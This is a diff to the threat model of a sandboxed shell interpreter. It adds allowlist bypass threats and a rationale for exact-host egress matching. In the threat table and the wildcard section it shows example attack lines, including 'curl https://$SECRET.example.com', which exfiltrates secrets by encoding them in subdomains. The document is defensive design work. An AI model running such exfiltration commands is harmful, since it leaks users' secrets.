@@ -428,6 +428,9 @@ allowlist.allow("https://api.example.com");
428428| TM-NET-005 | Port scanning | ` curl http://internal:$port ` | Port must match allowlist | ** MITIGATED** |
429429| TM-NET-006 | Protocol downgrade | HTTPS → HTTP | Scheme must match | ** MITIGATED** |
430430| TM-NET-007 | Subdomain bypass | ` evil.example.com ` | Exact host match | ** MITIGATED** |
431+ | TM-NET-015 | Domain allowlist scheme bypass | ` allow_domain() ` permits both http and https | By design; use URL patterns for scheme control | ** BY DESIGN** |
432+ | TM-NET-016 | Domain allowlist port bypass | ` allow_domain() ` permits any port | By design; use URL patterns for port control | ** BY DESIGN** |
433+ | TM-NET-017 | Wildcard subdomain exfiltration | ` curl https://$SECRET.example.com ` | Wildcards not supported; exact domain match only | ** MITIGATED** |
431434
432435** Current Risk** : LOW - Strict allowlist enforcement
433436
@@ -546,6 +549,54 @@ Script: curl https://api.example.com/data
546549- 47: Max redirects exceeded
547550- 63: Response too large
548551
552+ #### 5.6 Domain Egress Allowlist Design Rationale
553+
554+ Bashkit's network allowlist uses ** literal host matching** — the virtual equivalent of
555+ SNI (Server Name Indication) filtering on TLS client-hello headers. This is the same
556+ approach used by production sandbox environments (e.g., Vercel Sandbox) for egress
557+ control.
558+
559+ ** Why not DNS-based filtering?**
560+ Scripts can hardcode IP addresses, bypassing any DNS-level controls entirely.
561+
562+ ** Why not IP-based filtering?**
563+ A single IP address can host many domains (shared hosting, CDNs, cloud load balancers).
564+ Blocking/allowing by IP is too coarse-grained.
565+
566+ ** Why not an HTTP proxy?**
567+ Proxies only work for HTTP traffic and require applications to be configured to use them
568+ (or respect ` HTTP_PROXY ` env vars). They don't cover other TLS-based protocols like
569+ database connections.
570+
571+ ** Why literal host / SNI matching?**
572+ SNI filtering inspects the ` server_name ` extension in the TLS client-hello, which the
573+ client must send in cleartext before encryption begins. This works for all TLS traffic
574+ regardless of protocol. Since bashkit controls the HTTP layer and provides no raw socket
575+ access, literal host matching in the allowlist achieves equivalent coverage — every
576+ outbound connection goes through the ` HttpClient ` , which checks the hostname against the
577+ allowlist before any network I/O occurs.
578+
579+ ** Domain allowlist vs URL patterns:**
580+
581+ The ` allow_domain() ` API provides a simpler interface when callers only need domain-level
582+ control:
583+
584+ | Capability | ` allow_domain() ` | ` allow() ` (URL pattern) |
585+ | ------------| -------------------| -------------------------|
586+ | Scheme enforcement | No (any scheme) | Yes (exact match) |
587+ | Port enforcement | No (any port) | Yes (exact match) |
588+ | Path restriction | No (any path) | Yes (prefix match) |
589+ | Simplicity | High | Medium |
590+
591+ Callers requiring scheme or port enforcement should use URL patterns (` allow() ` ) instead
592+ of domain rules. Both rule types can be combined on the same allowlist; a URL is permitted
593+ if it matches ** either** a domain rule or a URL pattern.
594+
595+ ** Wildcard subdomains:**
596+ Wildcard patterns (e.g., ` *.example.com ` ) are deliberately ** not supported** . They enable
597+ data exfiltration by encoding secrets in subdomains: ` curl https://$SECRET.example.com ` .
598+ Only exact domain matches are allowed (TM-NET-017).
599+
549600---
550601
551602### 6. Multi-Tenant Isolation
@@ -834,6 +885,7 @@ This section maps former vulnerability IDs to the new threat ID scheme and track
834885| Path normalization | TM-ESC-001, TM-INJ-005 | ` fs/memory.rs ` | Yes |
835886| No symlink following | TM-ESC-002, TM-DOS-011 | ` fs/memory.rs ` | Yes |
836887| Network allowlist | TM-INF-010, TM-NET-001 to TM-NET-007 | ` network/allowlist.rs ` | Yes |
888+ | Domain allowlist | TM-NET-015, TM-NET-016, TM-NET-017 | ` network/allowlist.rs ` | Planned |
837889| Sandboxed eval/bash/sh, no exec | TM-ESC-005 to TM-ESC-008, TM-ESC-015, TM-INJ-003 | ` interpreter/mod.rs ` | Yes |
838890| Fail-point testing | All controls | ` security_failpoint_tests.rs ` | Yes |
839891| Builtin panic catching | TM-INT-001, TM-INT-002, TM-INT-006 | ` interpreter/mod.rs ` | Yes |
0 commit comments